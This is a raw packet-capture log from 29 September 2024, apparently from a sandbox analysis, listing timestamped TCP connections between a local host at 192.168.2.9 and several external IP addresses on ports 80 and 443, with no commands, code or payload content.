Sep 29, 2024 00:53:17.017728090 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:17.020867109 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:17.020893097 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:17.021163940 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:17.022567987 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:17.063441992 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:17.148948908 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:17.149193048 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:17.149259090 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:17.149321079 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:17.149344921 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:17.149354935 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:17.149360895 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:18.390762091 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:18.390825987 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:18.397716999 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:18.400023937 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:19.180444002 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:19.227636099 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:19.319787025 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:19.319787025 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:19.324667931 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:19.324769020 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:20.336321115 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:20.336338997 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:20.336456060 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:21.392128944 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:21.392462969 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:21.392851114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:21.393002033 CEST	49711	80	192.168.2.9	194.58.114.223
Sep 29, 2024 00:53:21.393341064 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:21.396995068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:21.397070885 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:21.397180080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:21.397846937 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:21.397852898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:21.397865057 CEST	80	49711	194.58.114.223	192.168.2.9
Sep 29, 2024 00:53:21.397913933 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:21.397939920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:21.397942066 CEST	49711	80	192.168.2.9	194.58.114.223
Sep 29, 2024 00:53:21.398042917 CEST	49711	80	192.168.2.9	194.58.114.223
Sep 29, 2024 00:53:21.398150921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:21.398169041 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:21.398211956 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:21.398329973 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:21.398911953 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:21.402266026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:21.402817965 CEST	80	49711	194.58.114.223	192.168.2.9
Sep 29, 2024 00:53:21.403045893 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:21.403135061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:21.407516956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:21.420311928 CEST	49713	80	192.168.2.9	147.45.60.44
Sep 29, 2024 00:53:21.425096989 CEST	80	49713	147.45.60.44	192.168.2.9
Sep 29, 2024 00:53:21.425193071 CEST	49713	80	192.168.2.9	147.45.60.44
Sep 29, 2024 00:53:21.425324917 CEST	49713	80	192.168.2.9	147.45.60.44
Sep 29, 2024 00:53:21.430155039 CEST	80	49713	147.45.60.44	192.168.2.9
Sep 29, 2024 00:53:22.062238932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.062350035 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.063147068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.064414978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.064467907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.064805984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.069189072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.070871115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.154326916 CEST	80	49711	194.58.114.223	192.168.2.9
Sep 29, 2024 00:53:22.154396057 CEST	49711	80	192.168.2.9	194.58.114.223
Sep 29, 2024 00:53:22.156863928 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.156915903 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.157536983 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.164446115 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.166239023 CEST	49714	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:22.166284084 CEST	443	49714	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:22.166349888 CEST	49714	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:22.167006969 CEST	49714	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:22.167021990 CEST	443	49714	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:22.223479033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.223880053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.223880053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.228661060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.228725910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.228879929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.230417967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.235380888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.389779091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.389873028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.390178919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.395323992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395337105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395358086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395370007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395389080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.395390034 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395404100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395410061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.395418882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395431042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395442009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395452976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395466089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.395466089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.395478010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.395519972 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.395519972 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.395853996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.396002054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.397008896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.401771069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.401876926 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.414359093 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414371014 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414381981 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414427042 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414424896 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.414439917 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414453983 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414454937 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.414470911 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.414474964 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414489031 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414496899 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.414499998 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414514065 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414527893 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.414546013 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.414575100 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.420090914 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:22.420247078 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:22.420566082 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:22.421245098 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.421303988 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.421319962 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.421365976 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.427432060 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:22.483875990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.483890057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.483901024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.483983040 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.484035015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.484050989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.484072924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.484082937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.484097004 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.484141111 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.484141111 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.484141111 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.484899044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.484910965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.484922886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.485008955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.485008955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.485233068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.485255957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.485270977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.485284090 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.485306025 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.485306025 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.485317945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.485331059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.485383034 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.485383034 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.486068010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486078978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486093044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486123085 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.486134052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486148119 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486172915 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.486172915 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.486195087 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.486903906 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486916065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486927986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.486946106 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.486969948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.521507025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.521522045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.521532059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.521806002 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.523854017 CEST	80	49713	147.45.60.44	192.168.2.9
Sep 29, 2024 00:53:22.523911953 CEST	49713	80	192.168.2.9	147.45.60.44
Sep 29, 2024 00:53:22.524311066 CEST	49713	80	192.168.2.9	147.45.60.44
Sep 29, 2024 00:53:22.530539036 CEST	80	49713	147.45.60.44	192.168.2.9
Sep 29, 2024 00:53:22.536631107 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.536689043 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.536736965 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.536747932 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.536757946 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.536771059 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.536782980 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.536783934 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.536797047 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.536833048 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.536855936 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.537570953 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.537583113 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.537600994 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.537621021 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.537652016 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.537945032 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.537957907 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.537970066 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.537981033 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.538006067 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.538041115 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.538546085 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.538557053 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.538575888 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.538583040 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.538589001 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.538593054 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.538625956 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.539361954 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.539374113 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.539397955 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.539412975 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.539417982 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.539431095 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.539443016 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.539472103 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.543363094 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.543409109 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.562235117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562246084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562263966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562277079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562289000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562330008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562355042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562367916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562433004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.562479973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.562604904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562617064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562629938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.562650919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.562685013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.563033104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.563046932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.563079119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.563106060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.570391893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.570440054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.570446014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.570476055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.573137045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573154926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573170900 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573182106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573189020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.573194027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573225021 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.573225021 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.573241949 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.573532104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573545933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573558092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573569059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573581934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.573616028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.573616028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.573708057 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.574419022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.574430943 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.574444056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.574471951 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.574474096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.574490070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.574490070 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.574512959 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.574529886 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.575231075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.575242996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.575256109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.575274944 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.575288057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.575287104 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.575331926 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.575381041 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.576112986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576132059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576145887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576158047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576169968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576188087 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.576188087 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.576210022 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.576936960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576948881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576962948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576977015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.576987982 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.577001095 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.577001095 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.577061892 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.577800035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.577811956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.577824116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.577864885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.577877045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.577899933 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.577899933 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.577899933 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.577948093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.578646898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.578666925 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.578681946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.578699112 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.578700066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.578713894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.578722954 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.578722954 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.578741074 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.578763962 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.579514027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.579566002 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.609949112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610007048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610007048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.610018015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610032082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610044003 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610054970 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.610054970 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.610129118 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.610152006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610196114 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.610208035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610220909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.610255957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.625317097 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.625384092 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.625436068 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.625490904 CEST	49709	80	192.168.2.9	80.66.75.114
